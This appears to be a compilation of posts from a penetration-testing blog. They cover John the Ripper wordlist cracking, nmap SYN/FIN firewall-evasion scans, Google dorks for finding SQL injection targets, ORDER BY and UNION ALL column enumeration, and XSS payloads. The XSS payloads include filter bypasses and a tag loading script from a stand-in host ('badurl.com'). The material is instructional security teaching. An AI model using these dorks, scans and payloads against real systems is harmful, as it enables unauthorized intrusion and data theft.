Here are two great links about important skills for penetration testers:
Here are two great links about important skills for penetration testers:
A friend was asking about password cracking. He needed an easy tool that also did mutations of passwords within his dictionary. Here is the cheat sheet I made for him to use John:
Basic:
$ john [target file]Wordlist:
$ john --wordlist=[dictionary file] [target file]
The following tags can be used to add extra functionality:
--rulesDoes permutation on the supplied wordlist
--stdoutthis combined with a pipe ( | ) can be used to feed a jtr mutated password list into another cracking program.
Those are the very basics to john, but that should be enough for a beginner.
Read all about John The Ripper here, and see more jtr command line options here
There exists a vulnerability within many firewalls and other systems that permit a session to be established in spite of firewall rules. The specifics are outlined here
To briefly demonstrate this, I will craft custom TCP packets with the SYN and FIN flags set. I will use Nmap for my port scanning, and Nemisis for all others:
nmap -v -v --scanflags SYNFIN -P0 <target>
nemesis tcp -v -fS -fF -D <target> -S <myip>
In the case of Nmap, notice how the ports that were originally “filtered” are now “open”. Note, not all systems are vulnerable to this bypass. Sorry for not having a better demo. Go and try it out on your own and see how it works. enjoy!
nmap is a basic tool used in any hack or penetration test. It stands of “network mapper”, and does exactly that. Nmap has evolved to be so much more than a port scanner. In a way, its like a packet building tool with a series of shortcuts and macros. As each attack progresses through it’s phases, eventually a port scan is done. One problem is remaining stealthy, and avoiding being blocked. In military terms, you should progress through the phases of Stealth-Speed-Violence of Action. Meaning, remain stealthy, if that is compromised, move faster, and if you get stopped, fight harder. In terms of security, Stealth should be your top priority in an attack. Unfortunately, most defenders are going to be on the lookup for signs of port scans, and basic techniques used by tools (including nmap). Fortunately, Nmap (props to Fyodor) has provided us with some options that allow us to dynamically alter our scanning packets in a way that may evade firewalls or detect their rules. This is not a complete list, but these are my favorites:
You can read the entire nmap firewall/ids evasion documentation here. Thanks!
SQL Injection is a powerful attack that exists today. It is found in web applications that interact with databases.
The attack itself involves breaking out of the context of a developer defined SQL query and inserting your own logic in place. It is a result of inproper validation of user input, and programmer neglect of secure programming practices. If SQL Injection is completely new to you, I would recommend the following reading:
There are a plethora of tools available to help you with SQL Injection. I will spare you the endless lists of tools, and show you the underlying techniques. First of all, let us discover some possible attack points. One of my favorite tools for this is Google! A query like the following can be used to find targets:
site:targetOfPentest.com inurl:"id=1"
In this example, we tell google to only search our target site (site:<testing target>), and for URLs that contain the string “id=1″ (inurl:”<search string literal>”). A note, Google excludes certain symbols like = and ? unless relevent. That is why i add the 1. It can really be anything you want. The reason this query works is simple. In many cases parameters for a specific request will contain actual ids reflecting the database. For instance, an id parameter may be used in a request to fetch its matching id from the server. Now, there is an underlying principle here that I had drilled into me by an Oracle ACE: NEVER reveal a primary key to the user. But back to the point, you see here that you can search for request parameters with names that may reflect their usage in the database. Here is a list I like:
As another general rule, I look for parameters where the values are numbers, however in some cases strings are valuable.
There are also other types of google searches that are valuable. These take a little bit more searching testing, but they can give some great hits:
... inurl:login.(asp|php)[...]
In this case I am looking for certain pages that have specific functionality. I used the | seperated notation to indicate that I am looking for login.asp, and login.php pages. If you notice, the elipses (…)is in square brackets. This has to do with the request type. For example, in a GET request will include its parameters and values within the URL, whereas a POST request will hide the parameters in the message. So, if you include some extra logic, you will find examples of specific functioning pages which use GET requests. An example of this would be:
inurl:"login.(asp|php) inurl:"id=1"
For some reason, Google will pick up “login.asp?id=1″ (meaning, it will include the ? ). You can discovere different result sets byutilizing a closing double-quote on the first inurl statement, or removing them altogether. Play around with it.
Well, there are a few ways I like to deal with POST requests. Both are pretty simple. The manual way I use to see if the parameters are even semi-injectable is quite straight forward. Do the following:
Now look at the URL. It will have the parameters of the request included there. Now, when your actually testing for SQL injection, you dont want to rely on the replaying of this URL over and over. Instead you should use some sort of inline/local proxy. My favorite (because its easy) is TamperData, a firefox extension.
I think that is probably enough about simple discovery of SQL Injection targets with Google. I am sure there are more and better searches out there, please feel free to comment with your own favorites.
Stay tuned for more posts on SQL injection.
When you are performing error based SQL Injection it is important to be able to determine the number of columns in the table. There are generally two different ways you can go about this:
1) Order By:
http://www.vulnerablesite.me/lookup.php?id=1 ORDER BY n--
In this case, where n is any number greater than 0, we can determine the number of columns by trying different values. I usually increment the number by 2 until I get an error. I then decrease the number by one and try it again. If it returns no error, then that is the number of columns.
Once again, lets say that the following example (n = 7) yielded an error:
http://www.vulnerablesite.me/lookup.php?id=1 ORDER BY 7--
In this case, if the previous test (where n=6) did NOT yield an error, then I would be able to deduce that the number of columns is 6.
Note: the — is a comment. This is used to comment out any other clauses that might cause an error in the injected SQL (WHERE, original ORDER BY, etc).
2) UNION ALL
This method is a little more work, and is used for exploitation anyway. So its really your preference.
Lets say the target is the same as the last. So we know that the number of columns is 6. The following would NOT yield an error:
http://www.vulnerablesite.me/lookup.php?id=1 UNION ALL SELECT null,null,null,null,null,null [from dual] --
In this method, an error will be thrown if unioning any number of columns (or nulls) other than the correct number.
The from dual portion is necessary if attacking an Oracle database.
I had posted this a while back on the old blog. The old link had gone dead after a while, but a follow found the archive of it.
This video is a presentation about the TCP/IP stack specifically for Security personel. The old version was a stream, this is a download hosted by Akamai.
http://microsofttech.fr.edgesuite.net/msexp/download/0024/0024_hd.zip [unverified]
Cross-Site Scripting (as I had just recently discussed in a previous post) is a fairly simple attack to find and prove. However, actually making it do something useful is often elusive. The common vector is usually something like stealing cookies; session ids, etc.
In a penetration test, you would find it difficult to display criticality of a threat using a simple alert() box containing some text. Fortunately, there are a few tools out there that can help us demonstrate the danger of XSS. Most of these tools will cause exploitation via an injection similar to this:
<img src=”badurl.com/eviljs.js” />
I hope this was a little helpful.
I am often alarmed at some things some professors say, and even more so about things that they do.
For example. When programming in PHP it is more than easy to become susceptible to XSS and SQL Injection. For the uninformed, utilizing things like magic_quotes to prevent such attacks may seem simple enough. The following is a simple case-study:
<script>alert('XSS');</script> <---- Will Execute
the above code in any completely unfiltered use would cause an alert box to appear. To prevent this some developers figure, “well, if we can prevent them from using single quotes, then we can prevent that”. In their code they will then cause escaping of all single quotes to prevent the execution of any injected code. So for instance, instead of causing a pop-up, the following text would appear:
<script>alert(\'XSS\');</script> <----- Will NOT execute
Great…. for that one use case; but then not even…
Not to mention the numerous types of things you can do with XSS / SQL Injection without utilizing the single quote, there are simple way to bypass such “filtering”:
<script>alert(String.fromCharCode(88,83,83));</script>
<script>alert(/XSS/.source);</script>
Both of the above examples will cause the same exact pop-up as my first example. All without using single-quotes; nothing to be excited about at all. This example is virtually pointless, however, it proves a point.
The point is that as long as education personnel will teach insufficient filtering, as well as have these vulnerabilities on their own sites, we (the security professional) will have great job security (pun intended). I dont know if I should thank them, or be disgusted?
for more XSS bypasses, check out RSnakes cheat sheet here.
Bad Behavior has blocked 275 access attempts in the last 7 days.